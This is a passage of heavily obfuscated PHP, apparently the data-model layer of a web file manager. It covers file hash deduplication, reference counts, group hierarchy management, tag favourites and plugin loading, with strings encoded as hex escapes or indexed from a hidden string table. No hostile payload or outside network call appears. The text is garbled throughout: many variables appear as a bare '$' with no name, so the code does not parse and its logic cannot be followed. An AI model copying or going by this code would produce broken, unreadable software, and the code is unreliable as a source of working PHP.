IO::hashMd5($) : $ۨ[12]; $ο = $ۨ[2017] . $ϗ; CacheLock::lock($ο); if ($ꙏޘ && $ϗ) { $ = $this->addFileCheckExist($ϗ, $ꙏޘ, $); if ($) { CacheLock::unlock($ο); return $; } } $Ȼ = $this->addFileMake($, $, $ϗ, $ꙏޘ, $뎝, $lj); $ٛ = $this->addFileData($Ȼ); CacheLock::unlock($ο); if (!$ꙏޘ && $ٛ) { $this->fileMd5Check($ٛ); } return $ٛ; } public function fileMd5Check($տ) { $ =& $_SERVER[]; $ˍ = array($տ[$[516]], $տ[$[87]]); $ٴ = $[2018] . $տ[$[87]]; $ַ = $[2019] . $տ[$[516]]; TaskQueue::add($[2020], $ˍ, $ٴ, $ַ); } public function fileMd5Set($, $Ÿ) { $Ӊ =& $_SERVER[]; $ = $this->find($); if (!$ || $[$Ӊ[522]]) { return; } $ = IO::hashMd5($Ÿ); if (!$) { return $Ӊ[12]; } $this->where(array($Ӊ[516] => $))->save(array($Ӊ[522] => $)); } public function addFileMake($, $, $Ҙ, $˯ل, $, $ݎ) { $ =& $_SERVER[]; $뺖 = $this->createFileName($, $Ҙ, $˯ل); $ = get_path_father($뺖); $ = get_path_this($뺖); if ($ݎ) { $ = IO::move($, $, !1, $); } else { $ = IO::copy($, $, !1, $); } if (!$) { return !1; } $꯯ = KodIO::defaultDriver(); $ѕ = array($[592] => $, $[2014] => 1, $[469] => $, $[852] => $꯯[$[450]], $[470] => $뺖, $[2015] => $Ҙ, $[2016] => $˯ل); return $ѕ; } public function addFileCheckExist($צƻ, $̯칾, $) { $ȇ =& $_SERVER[]; $ƺ = $this->findByHash($צƻ, $̯칾); if (!$ƺ) { return !1; } $ = array($ȇ[2014] => intval($ƺ[$ȇ[2021]]) + 1, $ȇ[592] => $); $this->where(array($ȇ[517] => $ƺ[$ȇ[516]]))->save($); return $ƺ; } public function remove($Ќ) { $this->linkCountChange($Ќ, !1); $this->clearEmpty(); return !0; } public function linkAdd($ɦ) { $this->linkCountChange($ɦ, !0); } public function linkCountChange($ľ, $߫) { $̞ =& $_SERVER[]; if (!$ľ) { return; } if (!is_array($ľ)) { $ľ = array($ľ); } $ = array(); foreach ($ľ as $) { $ = $ . $̞[12]; if (!$[$]) { $[$] = 0; } $[$]++; } $̴ = array(); foreach ($ as $ => $þ) { $ = $þ . $̞[12]; if (!$̴[$]) { $̴[$] = array(); } $̴[$][] = $; } foreach ($̴ as $þ => $츋) { if (!$츋) { continue; } $þ = $߫ ? $þ : -intval($þ); $ = array($̞[516] => array($̞[7], $츋)); if ($þ < 0) { $[$̞[2021]] = array($̞[1065], abs($þ)); } $this->where($)->setAdd($̞[2021], $þ); } } public function findByHash($, $ = false) { $ޥ =& $_SERVER[]; if (!$ && !$) { return !1; } $ = array($ޥ[2015] => $); if ($) { $ = array($ޥ[2016] => $); } return $this->order($ޥ[2022])->where($)->find(); } public function clearEmpty($ = 0) { $ =& $_SERVER[]; $Ľ = time() - 3600 * 24 * $; $䬱 = $[2023] . $Ľ; $ = $this->where($䬱)->select(); if (!$) { return; } $ = new Task($[2024], $[12], count($)); foreach ($ as $) { $->update(1); $this->resetFile($); } $->end(); } public function resetFile($) { $񢔲 =& $_SERVER[]; $ = array($񢔲[517] => $[$񢔲[516]]); $Ƽ = Model($񢔲[1388])->where($)->count(); $ꦽ = Model($񢔲[2025])->where($)->count(); $ֻ = intval($Ƽ) + intval($ꦽ); if ($ֻ == 0) { IO::remove($[$񢔲[87]]); Model($񢔲[2026])->delete($[$񢔲[516]]); $this->where($)->delete(); $this->metaSet($[$񢔲[516]], null, null); write_log(ACTION . $񢔲[2027] . KodUser::id() . $񢔲[2028] . $[$񢔲[516]] . $񢔲[2029] . $[$񢔲[79]] . $񢔲[192] . $[$񢔲[87]], $񢔲[2030]); return; } if ($[$񢔲[2021]] != $ֻ) { $this->where($)->save(array($񢔲[2014] => $ֻ)); } } public function storageInfo($ɸ = false) { $񟺨 =& $_SERVER[]; $ƍǓ = $this->count() + 0.0; $ = 0; $ = 1; $ی = 0; $; = 5000; for ($߬둰 = 0; $߬둰 < $ƍǓ; $߬둰 = $߬둰 + $;) { $炦 = $this->limit($߬둰, $߬둰 + $;)->select(); foreach ($炦 as $Ǡ) { $ += $Ǡ[$񟺨[79]] * $Ǡ[$񟺨[2021]]; $ += $Ǡ[$񟺨[79]] * ($Ǡ[$񟺨[2021]] - 1); $ی += $Ǡ[$񟺨[2021]]; } } $ل = array($񟺨[2031] => $, $񟺨[2032] => $, $񟺨[2033] => $ / $, $񟺨[83] => $ƍǓ, $񟺨[2034] => $ی); return $ل; } } goto B; B: class GroupModel extends ModelBase { protected $tableName = "\147\x72\x6f\x75\160"; protected $tableMeta = array("\164\x61\142\154\x65\116\x61\155\x65" => "\147\x72\x6f\165\160\x5f\x6d\x65\x74\x61", "\155\x65\164\x61\106\151\145\x6c\x64" => "\x67\162\x6f\x75\160\111\x44"); protected function cacheFunctionAlias($͍) { $뗢 =& $_SERVER[]; return array($뗢[2035] => array($͍[0], $뗢[2036]), $뗢[2037] => array($͍[0], $뗢[2038])); } protected function getInfo($, $ = false) { $ = $this->getInfoSimple($); if (!$) { return !1; } if ($) { return $this->_listDataApplyItem($); } return $this->cacheFunctionGet($_SERVER[][2039], $); } protected function getInfoSimple($幭, $ = false) { $׫Ԇ =& $_SERVER[]; if ($) { $݆ = array($׫Ԇ[1952] => intval($幭)); $ = $this->where($݆)->find(); return is_array($) ? $ : array(); } return $this->cacheFunctionGet($׫Ԇ[2040], $幭); } protected function groupAdd($嗋) { $ =& $_SERVER[]; if (!$嗋[$[183]] && isset($嗋[$[1952]]) && $嗋[$[1952]] == 1) { if ($ = $this->getInfoSimple($嗋[$[1952]], !0)) { return $嗋[$[1952]]; } } else { $ = $this->getInfoSimple($嗋[$[183]]); if (!$) { return !1; } } $̩ = $[570]; if ($[$[560]]) { $̩ = $[$[560]] . $[$[1952]] . $[50]; } $Ĉ = array($[469] => $this->groupNameAuto($嗋[$[183]], $嗋[$[32]]), $[452] => $嗋[$[183]], $[627] => $̩, $[2041] => $嗋[$[1939]], $[2042] => 0, $[1956] => 0); if (isset($嗋[$[1976]])) { $Ĉ[$[1976]] = $嗋[$[1976]]; } else { $ = $this->max($[1976]); if (!$) { $ = 0; } $Ĉ[$[1976]] = $ + 1; } if (!empty($嗋[$[1952]])) { $Ĉ[$[1952]] = $嗋[$[1952]]; } $֒ = $this->add($Ĉ); $this->setNamePinyin($֒, $Ĉ[$[32]]); if (isset($嗋[$[2043]])) { $this->metaSet($֒, array($[2043] => $嗋[$[2043]], $[2044] => $嗋[$[2044]])); unset($嗋[$[2043]]); unset($嗋[$[2044]]); } Model($[1388])->groupRootAdd($֒); $this->_clearCache($嗋[$[183]]); return $֒; } protected function groupEdit($Ŋש, $) { $Ȁئ =& $_SERVER[]; $׾ = $this->getInfoSimple($Ŋש); if (!$׾) { return !1; } if (!empty($[$Ȁئ[183]])) { $ʷʠ = $this->getInfoSimple($[$Ȁئ[183]]); if (!$ʷʠ) { return !1; } if ($׾[$Ȁئ[1952]] == $ʷʠ[$Ȁئ[1952]]) { return !1; } if ($[$Ȁئ[183]] != $׾[$Ȁئ[183]]) { if ($ʷʠ[$Ȁئ[560]] !== $׾[$Ȁئ[560]] && strpos($ʷʠ[$Ȁئ[560]], $׾[$Ȁئ[560]] . $׾[$Ȁئ[1952]] . $Ȁئ[50]) === 0) { return !1; } $[$Ȁئ[627]] = $ʷʠ[$Ȁئ[560]] . $[$Ȁئ[183]] . $Ȁئ[50]; $this->_changeChildLevel($׾, $ʷʠ); $this->_clearCache($ʷʠ[$Ȁئ[1952]]); $this->_clearCache($׾[$Ȁئ[183]]); } } if (isset($[$Ȁئ[32]])) { $this->setNamePinyin($Ŋש, $[$Ȁئ[32]]); } if (isset($[$Ȁئ[2043]])) { $this->metaSet($Ŋש, array($Ȁئ[2043] => $[$Ȁئ[2043]], $Ȁئ[2044] => $[$Ȁئ[2044]])); unset($[$Ȁئ[2043]]); unset($[$Ȁئ[2044]]); } $this->_clearChildrenCache($׾); return $this->where(array($Ȁئ[2045] => $Ŋש))->save($); } private function _clearChildrenCache($볁) { $ْñ =& $_SERVER[]; $Ђ = array($ْñ[627] => array($ْñ[587], $볁[$ْñ[560]] . $볁[$ْñ[1952]] . $ْñ[588])); $鐏 = $this->field($ْñ[1952])->where($Ђ)->select(); foreach ($鐏 as $耆) { $this->_clearCache($耆[$ْñ[1952]]); } } private function _clearCache($ᅇ) { $𘠭 =& $_SERVER[]; $this->cacheFunctionClear($𘠭[2039], $ᅇ); $this->cacheFunctionClear($𘠭[2040], $ᅇ); } private function _changeChildLevel($, $넶, $ = false) { $ɛ =& $_SERVER[]; $ݴ = $[$ɛ[560]] . $[$ɛ[1952]] . $ɛ[50]; $炙 = $넶[$ɛ[560]] . $넶[$ɛ[1952]] . $ɛ[50] . $[$ɛ[1952]] . $ɛ[50]; if ($) { $炙 = $넶[$ɛ[560]] . $넶[$ɛ[1952]] . $ɛ[50]; } $솱 = array($ɛ[627] => array($ɛ[587], $[$ɛ[560]] . $[$ɛ[1952]] . $ɛ[588])); $ = array($ɛ[627] => array($ɛ[636], "\x72\x65\160\154\x61\143\145\x28\160\141\x72\145\x6e\164\x4c\145\166\x65\x6c\54\x27{$ݴ}\x27\54\x27{$炙}\x27\51")); $this->_clearChildrenCache($); $this->where($솱)->data($)->save(); } public function setNamePinyin($ʥ, $ = false) { $ =& $_SERVER[]; if (!$) { $м = $this->getInfoSimple($ʥ); $ = $м[$[32]]; } if (!Input::check($, $[630])) { $this->metaSet($ʥ, $[513], null); $this->metaSet($ʥ, $[512], null); return; } $ = array($[513] => str_replace($[53], $[12], Pinyin::get($)), $[512] => Pinyin::get($, $[631])); $this->metaSet($ʥ, $); } protected function groupStatus($, $) { $ =& $_SERVER[]; $ = $this->getInfoSimple($); if (!$) { return !1; } $this->_clearCache($); return $this->metaSet($, $[795], $); if ($ == $[91]) { $点 = $this->parentLevelArray($[$[560]]); } else { } $点[] = $[$[1952]]; $ċ = array(); foreach ($点 as $) { $ċ[] = array($[1952] => $, $[97] => $[795], $[425] => $); $this->_clearCache($); } return Model($[2046])->addAll($ċ, array(), !0); } protected function groupRemove($, $ = false) { $Ꝫ =& $_SERVER[]; $ = array($Ꝫ[1952] => $); $ȧ = $this->where($)->find(); if (!$ȧ || $ȧ[$Ꝫ[183]] == 0) { return !1; } if (!$) { $ȸ = $this->getInfoSimple($ȧ[$Ꝫ[183]]); $this->_changeChildLevel($ȧ, $ȸ, !0); $this->where(array($Ꝫ[183] => $))->save(array($Ꝫ[183] => $ȧ[$Ꝫ[183]])); $this->_clearCache($ȸ[$Ꝫ[1952]]); } Model($Ꝫ[2046])->where($)->delete(); Model($Ꝫ[2047])->where($)->delete(); Model($Ꝫ[869])->groupRootRemove($); $this->_clearCache($ȧ[$Ꝫ[183]]); return $this->where($)->delete(); } protected function groupSort($ԛ) { $Ƅ =& $_SERVER[]; $ = array(); foreach ($ԛ as $问 => $ņ) { $[] = array($Ƅ[1952], $ņ, $Ƅ[1976], $问 + 1); } $this->saveAll($); } public function listData() { $ = $this->_makeOrder()->selectPage(50); $this->_listDataApply($[$_SERVER[][420]]); return $; } private function _makeOrder($ƻ = '') { $ =& $_SERVER[]; $؅ŗ = array($[1952], $[32], $[1941], $[222]); $ = array($[498] => $[499], $[500] => $[501]); $߹† = Input::get($[505], $[7], $[1956], $؅ŗ); $ = Input::get($[506], $[7], $[2048], array($[2048], $[500])); $ = $[$]; $ƻ = $ƻ . "{$߹†}\40{$}\54\x20\x67\162\x6f\x75\x70\x49\104\40\x61\163\143"; return $this->order($ƻ); } public function listChild($) { $ᩀ =& $_SERVER[]; $ = $this->where(array($ᩀ[183] => $))->_makeOrder()->selectPage(200); $this->_listDataApply($[$ᩀ[420]]); return $; } public function listChildIds($) { $ʷ =& $_SERVER[]; if (is_string($)) { $ = explode($ʷ[50], $); } $翅 = $this->where(array($ʷ[1952] => array($ʷ[7], $)))->field($ʷ[2049])->select(); if (!$翅) { return !1; } $ = array(); foreach ($翅 as $㣹ɘ) { $[] = "\163\145\154\145\143\164\40\x67\162\x6f\x75\160\x49\104\40\x66\162\x6f\155\x20\x60\x67\162\157\x75\160\140\40\167\x68\145\x72\145\x20\160\x61\x72\145\x6e\x74\x4c\x65\166\145\154\40\x6c\151\153\x65\x20\47{$㣹ɘ[$ʷ[560]]}{$㣹ɘ[$ʷ[1952]]}\x2c\x25\x27"; } $ = implode($ʷ[2050], $); $翅 = $this->query($); if (!$翅) { return array(); } $ = array_to_keyvalue($翅, $ʷ[12], $ʷ[1952]); return array_unique($); } public function listByID($ڲ) { $¼ =& $_SERVER[]; if (!$ڲ) { return array(); } $ = array($¼[1952] => array($¼[7], $ڲ)); $ = $this->where($)->select(); $ = array_sort_keep($, $¼[1952], $ڲ); $this->_listDataApply($); return $; } public function listSearch($ǹ֑) { $љ =& $_SERVER[]; $Б = trim($ǹ֑[$љ[2051]]); $ = explode($љ[53], $Б); if (!$Б || count($) == 1) { return $this->listSearchNow($ǹ֑); } $Ӛ = array($љ[420] => array()); foreach ($ as $ܕ) { if (!trim($ܕ)) { continue; } $ǹ֑[$љ[2051]] = $ܕ; $Ɍ = $this->listSearchNow($ǹ֑); $Ӛ[$љ[420]] = array_merge($Ӛ[$љ[420]], $Ɍ[$љ[420]]); } $Ӛ[$љ[420]] = array_unique_by_key($Ӛ[$љ[420]], $љ[1952]); $Ӛ[$љ[417]] = array($љ[418] => count($Ӛ[$љ[420]]), $љ[414] => 20, $љ[404] => 1, $љ[419] => 1); return $Ӛ; } public function listSearchNow($ܫ䄿) { $ =& $_SERVER[]; $ = trim($ܫ䄿[$[2051]]); $ˋ = isset($ܫ䄿[$[2052]]) ? $ܫ䄿[$[2052]] : !1; if (!trim($)) { return !1; } $ = str_replace($[2053], $[2054], $); $ω = array($[1952] => array($[434], "{$}\x25"), $[32] => array($[434], "\x25{$}\45"), $[1050] => $[2055]); if ($ˋ) { $⾉ = $this->getInfoSimple($ˋ); $޽ = $⾉[$[560]] . $ˋ . $[588]; $ω = array($ω, array($[560] => array($[434], $޽))); } $ω = $this->parseWhereLike($ω); $ = $this->_makeOrder()->where($ω)->selectPage(20); $ = $ ? $ : array($[420] => array(), $[417] => array()); if (!$ || count($[$[420]]) < 5 && Input::check($, $[369])) { $ = $this->groupChildrenAll($ˋ); $萺 = $this->_searchFromMeta($[512], $, 10, $); $ = $this->_searchFromMeta($[513], $, 10, $); $ڰ = array_merge($萺, $, $[$[420]]); $[$[420]] = array_unique_by_key($ڰ, $[1952]); $[$[417]][$[418]] = count($[$[420]]); $[$[417]][$[419]] = ceil($[$[417]][$[418]] / $[$[417]][$[414]]); } $this->_listDataApply($[$[420]]); return $; } protected function groupChildrenAll($ꉆ) { $ =& $_SERVER[]; if (!$ꉆ) { return !1; } if (!is_array($ꉆ)) { $ꉆ = array($ꉆ); } $Ź = $ꉆ; foreach ($ꉆ as $) { $ = $this->getInfoSimple($); $ = array($[560] => array($[434], $[$[560]] . $ . $[588])); $Ժ = $this->field($[1952])->where($)->select(); $Ź = array_merge($Ź, array_to_keyvalue($Ժ, $[12], $[1952])); } return array_unique($Ź); } private function _searchFromMeta($ʔ, $͖, $, $ȇٛ) { $‡ =& $_SERVER[]; $͖ = strtolower($͖); $ = array($‡[97] => $ʔ, $‡[425] => array($‡[434], "\x25{$͖}\45")); $ = $this->parseWhereLike($); if ($ȇٛ) { $[$‡[1952]] = array($‡[7], $ȇٛ); } $Ȁÿ = Model($‡[2056])->where($)->limit($)->select(); if (!$Ȁÿ) { return array(); } $Ȁÿ = array_to_keyvalue($Ȁÿ, $‡[12], $‡[1952]); $Ē = $this->where(array($‡[2045] => array($‡[7], $Ȁÿ)))->select(); if (!$Ē) { return array(); } return $Ē; } protected function _listDataApplyItem($ֽஷ) { $ = array($ֽஷ); $this->_listDataApply($); return $[0]; } protected function _listDataApply(&$) { $ =& $_SERVER[]; if (!$) { return; } $̺ = array_to_keyvalue($, $[12], $[1952]); $this->_listAppendChildren($); $this->_listAppendChildrenMember($); $this->_listAppendMeta($, $̺); $this->_listAppendParent($); $this->_listAppendSourceRoot($, $̺); } private function _listAppendChildren(&$) { $ =& $_SERVER[]; $ⱖ = array_to_keyvalue($, $[12], $[1952]); $ = array($[183] => array($[7], $ⱖ)); $ = array($[183], $[2057] => $[541]); $ߋ = $this->field($)->where($)->group($[183])->select(); $È = array_to_keyvalue($ߋ, $[183], $[541]); foreach ($ as &$) { $ = $[$[1952]]; $[$[2058]] = isset($È[$]) ? intval($È[$]) : !1; } unset($); } private function _listAppendChildrenMember(&$ٙ) { $ã =& $_SERVER[]; $ȥ = array_to_keyvalue($ٙ, $ã[12], $ã[1952]); $濦 = array($ã[1952] => array($ã[7], $ȥ)); $걖ӧ = array($ã[1952], $ã[2057] => $ã[541]); $ǣ = Model($ã[2047])->field($걖ӧ)->where($濦)->group($ã[1952])->select(); $ī = array_to_keyvalue($ǣ, $ã[1952], $ã[541]); foreach ($ٙ as &$д) { $Þ = $д[$ã[1952]]; $д[$ã[2059]] = isset($ī[$Þ]) ? intval($ī[$Þ]) : !1; } unset($д); } private function _listAppendMeta(&$, $) { $Ԛ =& $_SERVER[]; $ = array($Ԛ[1952] => array($Ԛ[7], $)); $ = Model($Ԛ[2046])->where($)->select(); $ = array_to_keyvalue_group($, $Ԛ[1952]); foreach ($ as &$ā) { $ā = array_to_keyvalue($ā, $Ԛ[97], $Ԛ[425]); } unset($ā); foreach ($ as &$) { $[$Ԛ[514]] = array(); if (isset($[$[$Ԛ[1952]]])) { $[$Ԛ[514]] = $[$[$Ԛ[1952]]]; } } unset($); } protected function parentLevelArray($ο) { $꒣ =& $_SERVER[]; $ο = explode($꒣[50], trim($ο, $꒣[50])); $ο = array_remove_value($ο, $꒣[219]); return $ο; } protected function parentInGroup($, $) { $ر =& $_SERVER[]; $ۼ = $this->getInfoSimple($); if (!$ۼ) { return !0; } $ߥ = $this->parentLevelArray($ۼ[$ر[560]]); $ߥ[] = $; foreach ($ߥ as $) { if (in_array($ . $ر[12], $)) { return !0; } } return !1; } private function _listAppendParent(&$ɉČ) { $ =& $_SERVER[]; $匧 = array(); foreach ($ɉČ as &$˲ȫ) { $匧[$˲ȫ[$[1952]]] = $˲ȫ[$[32]]; $䰣 = $this->parentLevelArray($˲ȫ[$[560]]); foreach ($䰣 as $) { if (!isset($匧[$])) { $匧[$] = 0; } } } unset($˲ȫ); foreach ($匧 as $ߗ => $ۢ) { if ($ۢ) { continue; } $Ɲ = $this->getInfoSimple($ߗ); $匧[$ߗ] = $Ɲ[$[32]]; } $ = $GLOBALS[$[6]][$[92]][$[2060]]; if (KodUser::isRoot()) { $ = !1; } foreach ($ɉČ as &$˲ȫ) { $䰣 = $this->parentLevelArray($˲ȫ[$[560]]); $̵ = $[12]; foreach ($䰣 as $ߗ => $) { if ($ && $ߗ == 0) { continue; } $̵ .= $匧[$] . $[8]; } if ($䰣) { $̵ .= $˲ȫ[$[32]]; } $˲ȫ[$[565]] = str_replace($[568], $[8], $̵); } unset($˲ȫ); } private function _listAppendSourceRoot(&$, $ƿϹ) { $ =& $_SERVER[]; $ = Model($[869])->listSourceRoot(SourceModel::TYPE_GROUP, $ƿϹ); $ = array_to_keyvalue($, $[545]); $ = array_remove_key($, $[545]); foreach ($ as &$̍) { $̍[$[90]] = $[$̍[$[1952]]] ? $[$̍[$[1952]]] : array(); } unset($̍); } protected function groupMerge($) { $ = array_values(array_unique($)); $ = array(); for ($ݵ = 0; $ݵ < count($); $ݵ++) { $Л = !1; for ($댿 = 0; $댿 < count($); $댿++) { if ($ݵ == $댿) { continue; } if ($this->isParentOf($[$댿], $[$ݵ])) { $Л = !0; break; } } if (!$Л) { $[] = $[$ݵ]; } } return $; } protected function isParentOf($Ȗ, $) { $ =& $_SERVER[]; if (!$Ȗ || !$ || $Ȗ == $) { return !1; } $ = $this->getInfoSimple($Ȗ); $ = $this->getInfoSimple($); $ȴ = $[$[560]] . $Ȗ . $[50]; if (substr($[$[560]], 0, strlen($ȴ)) == $ȴ) { return !0; } return !1; } public function groupShowRoot($ޤ, $ = false) { $ђ =& $_SERVER[]; $ = $this->getInfo($ޤ); if (!$) { return array(); } $⡟ = $this->parentLevelArray($[$ђ[560]]); $ = array($ޤ); if (count($⡟) == 0) { return $; } if ($ && count($⡟) == 1) { return $; } if (!$[$ђ[514]] || !isset($[$ђ[514]][$ђ[2043]]) || $[$ђ[514]][$ђ[2043]] == $ђ[2008]) { return $this->groupShowRoot($⡟[count($⡟) - 1], $); } if ($[$ђ[514]][$ђ[2043]] == $ђ[408]) { $ޑ = explode($ђ[50], $[$ђ[514]][$ђ[2044]]); if ($ޑ) { $ = array_merge($, $ޑ); } } return $; } protected function resetParentLevel() { $ =& $_SERVER[]; $Ӥ = $[1952]; $ӭ̠ = $this->select(); $ӭ̠ = array_to_keyvalue($ӭ̠, $Ӥ); foreach ($ӭ̠ as $) { $ = $; $⮺ = array(); while ($[$[183]] != 0) { $⮺[] = $[$[183]]; $ = $ӭ̠[$[$[183]]]; } $⮺[] = 0; $⮺ = $[50] . implode($[50], array_reverse($⮺)) . $[50]; $this->setNamePinyin($[$Ӥ], $[$[32]]); $this->where(array($Ӥ => $[$Ӥ]))->save(array($[627] => $⮺)); } return $ӭ̠; } public function groupNameAuto($獕, $ב݊) { $л =& $_SERVER[]; $ = $this->where(array($л[452] => $獕))->getField($л[32], !0); if (!$ || !in_array($ב݊, $)) { return $ב݊; } for ($ = 1; $ <= count($) + 1; $++) { $۩ = $ב݊ . "\x28{$}\x29"; if (!in_array($۩, $)) { return $۩; } } } public function groupSwitch($, $Ɏ) { $܍ =& $_SERVER[]; $Ԫ = array($܍[1952] => array($܍[7], array($, $Ɏ))); $뼉 = $this->where($Ԫ)->select(); $뼉 = array_to_keyvalue($뼉, $܍[1952]); if (!isset($뼉[$]) || !isset($뼉[$Ɏ]) || $뼉[$][$܍[183]] == 0) { return !1; } $Ԫ = array($܍[1952] => $); $ = Model($܍[2047])->where($Ԫ)->select(); if (!$) { $ = array(); } foreach ($ as $) { $˷қ = $[$܍[1753]]; $Ԫ = array($܍[1753] => $˷қ, $܍[1952] => $Ɏ); $ù = Model($܍[2047])->where($Ԫ)->find(); if (!$ù) { $ム = array($Ɏ => $[$܍[2061]]); Model($܍[574])->userGroupAdd($˷қ, $ム); } Model($܍[574])->userGroupRemove($˷қ, $); } $Ԫ = array($܍[181] => 2, $܍[183] => 0, $܍[460] => 1, $܍[545] => array($܍[7], array($, $Ɏ))); $҂֌ = Model($܍[869])->where($Ԫ)->field($܍[2062])->select(); $҂֌ = array_to_keyvalue($҂֌, $܍[545], $܍[184]); $ = !empty($҂֌[$]) ? $҂֌[$] : !1; if ($) { if (!$҂֌[$Ɏ]) { $҂֌[$Ɏ] = Model($܍[869])->groupRootAdd($Ɏ); } $٩ = $҂֌[$Ɏ]; $Ԫ = array($܍[183] => $); $҂֌ = Model($܍[869])->where($Ԫ)->field($܍[2063])->select(); if (!$҂֌) { $҂֌ = array(); } Model($܍[869])->moveClearAuth = !1; foreach ($҂֌ as $) { $߃ = $[$܍[460]] == $܍[91] ? REPEAT_RENAME_FOLDER : REPEAT_RENAME; Model($܍[869])->move($[$܍[184]], $٩, $߃); } Model($܍[869])->moveClearAuth = !0; $Ԫ = array($܍[181] => 2, $܍[545] => $); $ŧ = array($܍[545] => $Ɏ); Model($܍[2064])->where($Ԫ)->save($ŧ); Model($܍[2065])->where($Ԫ)->save($ŧ); } $this->_changeChildLevel($뼉[$], $뼉[$Ɏ], !0); $this->where(array($܍[183] => $))->save(array($܍[183] => $Ɏ)); $this->_clearChildrenCache($뼉[$Ɏ]); return !0; } } class GroupTagModel extends ModelBase { protected $tableName = "\x75\x73\x65\x72\137\146\141\166"; protected function cacheFunctionAlias($) { $̶ =& $_SERVER[]; return array($̶[2066] => array($[0], $̶[2067]), $̶[2068] => array($[0], $̶[2069])); } protected function get($) { $ =& $_SERVER[]; $İ = Model($[561])->metaGet($, $[2070]); $Ҫ = json_decode($İ, !0); return $Ҫ ? $Ҫ : array($[2071] => $[91], $[420] => array()); } protected function set($좇, $) { $ =& $_SERVER[]; $ = $ ? $ : array($[2071] => $[91], $[420] => array()); return Model($[561])->metaSet($좇, $[2070], json_encode($)); } protected function getByTagID($ߣ, $) { $ڼ =& $_SERVER[]; if (!$ߣ || !$) { return !1; } if (!Model($ڼ[561])->getInfoSimple($ߣ)) { return !1; } $А = $this->get($ߣ); if (!$А || !isset($А[$ڼ[420]])) { return !1; } $ڛ = array_find_by_field($А[$ڼ[420]], $ڼ[450], $); return is_array($ڛ) ? $ڛ : !1; } public function listSource($Ȼ, $) { $ =& $_SERVER[]; if ($ && !is_array($)) { $ = array($); } $۱ = $this->listData($Ȼ); $ = array(); foreach ($۱ as $܀) { $й = $܀[$[87]]; if (!$й) { continue; } if (!isset($[$й])) { $[$й] = array(); } $[$й][] = $܀[$[475]]; } $ = array(); foreach ($ as $⵰ => $) { $ݬ = !0; if (!$) { $[] = $⵰; continue; } foreach ($ as $ъ) { if (!in_array($ъ, $)) { $ݬ = !1; break; } } if ($ݬ) { $[] = $⵰; } } if (!$) { return array(); } $ = array($[466] => array($[467], $), $[545] => $Ȼ, $[181] => SourceModel::TYPE_GROUP); $Ԋ = Model($[1388])->listSource($); if (!$Ԋ || count($) == $Ԋ[$[417]][$[418]]) { return $Ԋ; } $à = array(); $չ = array_to_keyvalue($Ԋ[$[85]], $[12], $[184]); $ɤ = array_to_keyvalue($Ԋ[$[86]], $[12], $[184]); $ߋ = array_merge($ɤ, $չ); foreach ($ as $й) { if (!in_array($й, $ߋ)) { $à[] = $й; } } if ($à) { $this->removeBySource($Ȼ, $à); } return $Ԋ; } protected function listData($ɾ) { $ =& $_SERVER[]; $ـ = array($[1744] => 0, $[533] => array($[2072], 0), $[471] => $[2073] . $ɾ); $ߠ = $[2074]; $ = $this->field($ߠ)->where($ـ)->order($[2075])->select(); return $ ? $ : array(); } protected function addToTag($, $, $) { $ =& $_SERVER[]; if (!$this->getByTagID($, $) || !$) { return !1; } if (!Model($[869])->pathInfo($)) { return !1; } $ذ = array($[1744] => 0, $[533] => $, $[470] => $, $[471] => $[2076] . $, $[469] => $[12], $[1956] => 0); if ($this->where($ذ)->find()) { return !1; } return $this->add($ذ); } protected function removeFromTag($Ӿ, $ֽ, $Ш) { $ =& $_SERVER[]; if (!$this->getByTagID($Ӿ, $Ш) || !$ֽ) { return !1; } if (is_array($ֽ)) { $ֽ = array($[7], $ֽ); } $ = array($[1744] => 0, $[533] => $Ш, $[471] => $[2076] . $Ӿ, $[470] => $ֽ); return $this->where($)->delete(); } protected function removeByTag($Ʃ, $՟) { $ =& $_SERVER[]; if (!$this->getByTagID($Ʃ, $՟)) { return !1; } $ = array($[1744] => 0, $[533] => $՟, $[471] => $[2076] . $Ʃ); return $this->where($)->delete(); } protected function removeBySource($, $϶) { $ =& $_SERVER[]; if (!$ || !$϶) { return !1; } if (is_array($϶)) { $϶ = array($[7], $϶); } $Ĥ = array($[1744] => 0, $[470] => $϶, $[533] => array($[1064], 0), $[471] => $[2076] . $); return $this->where($Ĥ)->delete(); } } class PluginModel extends ModelBaseLight { public $optionType = "\123\x79\163\164\x65\x6d\x2e\160\x6c\165\x67\151\x6e\x4c\151\x73\x74"; public $field = array("\156\x61\155\x65", "\163\x74\141\164\165\x73", "\x72\145\x67\151\x65\163\x74", "\143\x6f\156\146\x69\147"); public function loadList($߹ = false) { $ = array_to_keyvalue($this->listData(), $_SERVER[][32]); if ($߹) { return $[$߹]; } return $; } public function init() { $ =& $_SERVER[]; Hook::trigger($[2077]); $ = $this->loadPluginList(); foreach ($ as $й => $酣) { $ = $this->appAllow($й, $酣); if (!$) { continue; } foreach ($酣[$[2078]] as $㚎 => $ʥ) { Hook::bind($㚎, $ʥ); } } Hook::trigger($[2079]); Hook::trigger(ACTION); } public function appAllow($, $ާ, $ؔ = true) { $ =& $_SERVER[]; $ = PLUGIN_DIR . $ . $[2080]; if (!is_array($ާ) || !is_array($ާ[$[2078]]) || $ާ[$[795]] != 1 || !is_file($)) { return !1; } if (KodUser::isRoot()) { if ($GLOBALS[$[6]][$[2081]] || !$GLOBALS[$[6]][$[2082]]) { return !0; } $ = explode($[50], strtolower($GLOBALS[$[6]][$[2082]])); return in_array(strtolower($), $) ? !1 : !0; } if ($ؔ && !Action($[2083])->checkAuth($)) { return !1; } return !0; } public function unInstall($ؤ) { $͋ =& $_SERVER[]; $ܐ = $this->loadList($ؤ); if (file_exists(PLUGIN_DIR . $ؤ)) { Hook::apply($ؤ . $͋[2084]); } $this->remove($ܐ[$͋[450]]); } public function changeStatus($ѽ, $Ǽ) { $ʱݗ =& $_SERVER[]; $ = $this->loadList($ѽ); if ($Ǽ) { Hook::apply($ѽ . $ʱݗ[2085]); } $this->update($[$ʱݗ[450]], array($ʱݗ[2086] => $Ǽ)); } public function appRegist($֔, $栱) { $ =& $_SERVER[]; $ӟ = $this->loadList($֔); if ($ӟ) { $this->update($ӟ[$[450]], array($[2078] => $栱)); } else { $貑 = array($[32] => $֔, $[2078] => $栱, $[795] => 0, $[6] => $this->getConfigDefault($֔)); $this->insert($貑); } } public function getConfigDefault($ߗ) { $ =& $_SERVER[]; $ҡ = array(); $ثΛ = $this->getPackageJson($ߗ); if (!$ثΛ && is_array($ثΛ[$[2087]])) { return $ҡ; } foreach ($ثΛ[$[2087]] as $ۭ => $ܩأ) { if (!isset($ܩأ[$[425]]) || isset($ҡ[$ۭ])) { continue; } $ҡ[$ۭ] = $ܩأ[$[425]]; } return 